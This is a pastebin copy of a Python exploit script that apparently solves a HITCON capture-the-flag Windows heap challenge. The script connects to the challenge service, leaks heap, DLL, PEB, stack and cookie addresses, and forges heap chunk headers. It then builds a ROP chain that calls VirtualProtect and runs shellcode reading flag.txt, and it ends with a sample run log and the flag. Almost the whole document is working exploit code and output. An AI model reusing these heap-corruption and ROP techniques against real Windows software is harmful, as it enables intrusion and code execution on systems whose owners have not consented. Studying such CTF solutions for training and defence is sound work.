View difference between Paste ID: CWkWjrLn and EGTBufhX
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
import struct, socket, sys, os, telnetlib, hexdump
4
5
#################################################################################
6
7
def sock(host, port):
8
  s = socket.create_connection((host, port))
9
  return s, s.makefile('rw', bufsize=0)
10
11
def read_until(f, delim='\n'):
12
  data = ''
13
  while not data.endswith(delim): data += f.read(1)
14
  return data
15
16
def shell(s):
17
  t = telnetlib.Telnet()
18
  t.sock = s
19
  t.interact()
20
21
def p(a):  return struct.pack("<I",a&0xffffffff)
22
def u(a):  return struct.unpack("<I",a)[0]
23
def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff)
24
def uQ(a): return struct.unpack("<Q",a)[0]
25
26
def dbg(ss):
27
  cs, ce = '\x1b[1;37m', '\x1b[00m' # White
28
  print(cs + "[+] %s: 0x%x"%(ss, eval(ss)) + ce)
29
30
def make_asm(asm):
31
  open("sc.asm", "wb").write(asm)
32
  r = os.system("nasm -f bin sc.asm -o sc.bin -l sc.lst")
33
  if r != 0: exit()
34
  return open("sc.bin","rb").read()
35
36
def xxd(data):
37
  hexdump.hexdump(data)
38
39
#################################################################################
40
41
def menu():
42
  r = read_until(f, ">> ")
43
  #print [r]
44
  return r
45
46
def login():
47
  f.write("1\n")
48
  read_until(f, "User:")
49
  f.write("orange\n")
50
  read_until(f, "Password:")
51
  f.write("godlike\n")
52
  return menu()
53
54
def add(key, size, content, skip=False):
55
  assert size < 0x1000
56
  f.write("1\n")
57
  read_until(f, "Key:")
58
  f.write(("%s\n" % key)[:0x40])
59
  read_until(f, "Size:")
60
  f.write("%d\n" % size)
61
  read_until(f, "Data:")
62
  f.write("%s\n" % content)
63
  if skip:
64
    return
65
  return menu()
66
67
def show(key, skip=False):
68
  f.write("2\n")
69
  read_until(f, "Key:")
70
  f.write("%s\n" % key)
71
  if not skip:
72
    read_until(f, "Data:")
73
  return menu()
74
75
def delete(key):
76
  f.write("3\n")
77
  read_until(f, "Key:")
78
  f.write("%s\n" % key)
79
  return menu()
80
81
#################################################################################
82
if sys.argv[1] == 'r':
83
  HOST, PORT = "13.230.51.176", 4869
84
  STACK_START_OFS = 0x2000 # some brute force
85
86
else:
87
  HOST, PORT = "192.168.164.130", 4869
88
  STACK_START_OFS = 0x4000
89
90
ofs_virtual_protect = 0x1B680
91
ofs_pop_rcx = 0x9217b #: pop rcx ; ret  ;  (4 found)
92
ofs_pop_rdx = 0x8fb37 #: pop rdx ; pop r11 ; ret  ;  (1 found)
93
ofs_pop_r8  = 0x2010b #: pop r8 ; ret  ;  (1 found)
94
ofs_pop_r9  = 0x8fb34 #: pop r9 ; pop r10 ; pop r11 ; ret  ;  (1 found)
95
ofs_pop_rax = 0x2010c #: pop rax ; ret  ;  (38 found)
96
ofs_jmp_rax = 0x04c8b #: jmp rax ;  (17 found)
97
98
#################################################################################
99
s, f = sock(HOST, PORT)
100
login()
101
102
tag = pQ(0)
103
print "[+] setup"
104
add("Aa", 0x400, "A"*0x2f) # create
105
add("Aa", 0x10, "A"*0xf) # re-create
106
add(tag, 0x20, "z"*0xf) # victim
107
108
print "[+] first leak"
109
leak_data = show("Aa")
110
leak = uQ(leak_data[0x20:0x28])
111
dbg("leak")
112
heap = leak - 0x960
113
dbg("heap")
114
115
print "[+] leak dll, pie, peb, and stack"
116
def leak(addr, size=0x20, leak_data=leak_data):
117
  forge = leak_data[:0x20] + pQ(addr) + pQ(size) + leak_data[0x30:]
118
  add("Aa", 0x10, forge)
119
  r = show(tag)
120
  return uQ(r[:8]), r
121
122
ntdll = leak(heap + 0x2c0)[0] - 0x163d10
123
ntdll &= ~0xfff
124
dbg("ntdll")
125
assert leak(ntdll)[1].startswith("MZ") # debug
126
127
dadadb = leak(ntdll + 0x15f000 + 0x62c8)[0] - 0xf8
128
dbg("dadadb")
129
assert leak(dadadb)[1].startswith("MZ") # debug
130
131
cookie = leak(dadadb + 0x5008)[0]
132
dbg("cookie")
133
134
kernel32 = leak(ntdll + 0x15f000 + 0x6fd8)[0] - 0x3d8d0
135
kernel32 &= ~0xfff
136
dbg("kernel32")
137
assert leak(kernel32)[1].startswith("MZ") # debug
138
139
encoding = leak(heap + 0x88)[0]
140
dbg("encoding")
141
142
peb = leak(ntdll + 0x165308)[0] - 0x80
143
dbg("peb")
144
145
ucrtbase = leak(ntdll + 0x178548)[0]
146
dbg("ucrtbase")
147
assert leak(ucrtbase)[1].startswith("MZ") # debug
148
149
stackbase = leak(peb + 0x1010)[0]
150
dbg("stackbase")
151
r = leak(stackbase + STACK_START_OFS, 0x1000)[1]
152
while not "e\0x\0e\0" in r :
153
  r += menu()
154
menu()
155
stack = stackbase + STACK_START_OFS + len(r) + 0x102
156
dbg("stack")
157
158
print "[+] fix addr"
159
leak(heap + 0x960) # for fix to delete
160
leak_data = show("Aa")
161
162
print "[+] forge next and delete prev"
163
def forge_next(addr, leak_data=leak_data):
164
  forge = leak_data[:0x20+0x58] + pQ(addr) + leak_data[0x20+0x58+8:]
165
  add("Aa", 0x10, forge)
166
167
forge_next(stack)
168
delete(tag)
169
170
print "[+] create shellcode to heap"
171
shellcode = make_asm("""
172
BITS 64
173
global _start
174
_start:
175
176
open:
177
  mov r15, %#x
178
  lea rcx, [r15 + 0x5668]  ; file_fd
179
  lea rdx, [rel FILENAME]  ; filename
180
  lea r8, [rel PERMISSION] ; perm
181
  lea rax, [r15 + 0x31A8]
182
  call [rax]
183
184
read:
185
  lea rcx, [r15 + 0x5f00]  ; buffer
186
  mov rdx, 0x100           ; size
187
  mov r8, 0x1              ; count
188
  lea rax, [r15 + 0x5668]
189
  mov r9, [rax]            ; file_fd
190
  lea rax, [r15 + 0x3208]
191
  call [rax]
192
193
puts:
194
  lea rcx, [r15 + 0x5f00] ; buffer
195
  lea rax, [r15 + 0x31d0]
196
  call [rax]
197
198
LOOP:
199
  jmp LOOP
200
201
FILENAME: db "flag.txt", 0
202
PERMISSION: db "r", 0
203
""" % (dadadb))
204
#xxd(shellcode)
205
206
add("hogehoge", 0x100, shellcode)
207
shellcode_addr = heap + 0x960
208
209
print "[+] forge note on to stack"
210
fake_note = pQ(stack - 0x270) + pQ(0x300)
211
#xxd(fake_note)
212
show(fake_note, skip=True)
213
214
print "[+] create fake heap on to stack "
215
def create_heap_header(size, prev_size):
216
  busy=1
217
  unused=0x10
218
  size = size/0x10
219
  prev_size = prev_size/0x10
220
  raw = size | (busy<<16) | (((size&0xff)^((size>>8)&0xff)^busy)<<24) | (prev_size<<32) | (unused<<56)
221
  return encoding ^ raw
222
  
223
fake_chunk  = tag + pQ(create_heap_header(0x10, 0x10))
224
fake_chunk += pQ(0) + pQ(create_heap_header(0x20, 0x10))
225
fake_chunk += pQ(0) + pQ(0)
226
fake_chunk += pQ(0) + pQ(create_heap_header(0x10, 0x20))
227
#xxd(fake_chunk)
228
229
rsp = stack - 0x2e0
230
231
virtual_protect = kernel32 + ofs_virtual_protect
232
pop_rcx = ntdll + ofs_pop_rcx
233
pop_rdx = ntdll + ofs_pop_rdx
234
pop_r8  = ntdll + ofs_pop_r8
235
pop_r9  = ntdll + ofs_pop_r9
236
pop_rax = ntdll + ofs_pop_rax
237
jmp_rax = ntdll + ofs_jmp_rax
238
239
rop  = pQ(pop_rcx)
240
rop += pQ(heap)      # lpAddress
241
rop += pQ(pop_rdx)
242
rop += pQ(0x2000)    # dwSize
243
rop += pQ(0xdeadbeef)
244
rop += pQ(pop_r8)
245
rop += pQ(0x40)      # flNewProtect (PAGE_EXECUTE_READWRITE)
246
rop += pQ(pop_r9)
247
rop += pQ(heap)      # lpflOldProtect
248
rop += pQ(0xdeadbeef)
249
rop += pQ(0xdeadbeef)
250
rop += pQ(pop_rax)
251
rop += pQ(virtual_protect)
252
rop += pQ(jmp_rax)
253
rop += pQ(shellcode_addr)
254
#xxd(rop)
255
256
add(fake_chunk, 0x10, "Z"*0xe0 + pQ(rsp^cookie) + pQ(0)*4 + rop, skip=True)
257
258
print "[+] shell"
259
shell(s)
260
261
"""
262
[+] setup
263
[+] first leak
264
[+] leak: 0x2114b5e0960
265
[+] heap: 0x2114b5e0000
266
[+] leak dll, pie, peb, and stack
267
[+] ntdll: 0x7ff94e160000
268
[+] dadadb: 0x7ff7de140000
269
[+] cookie: 0x5e6f3b24ab69
270
[+] kernel32: 0x7ff94e010000
271
[+] encoding: 0x661ce85fa323
272
[+] peb: 0x9440c1e000
273
[+] ucrtbase: 0x7ff94b280000
274
[+] stackbase: 0x9440b9d000
275
[+] stack: 0x9440b9f980
276
[+] fix addr
277
[+] forge next and delete prev
278
[+] create shellcode to heap
279
[+] forge note on to stack
280
[+] create fake heap on to stack
281
[+] shell
282
Done!
283
hitcon{Oh_U_got_the_Exc4libur_in_ddaa-s_HEAP}
284
Try to learn breath of shadow to kill demon !
285
"""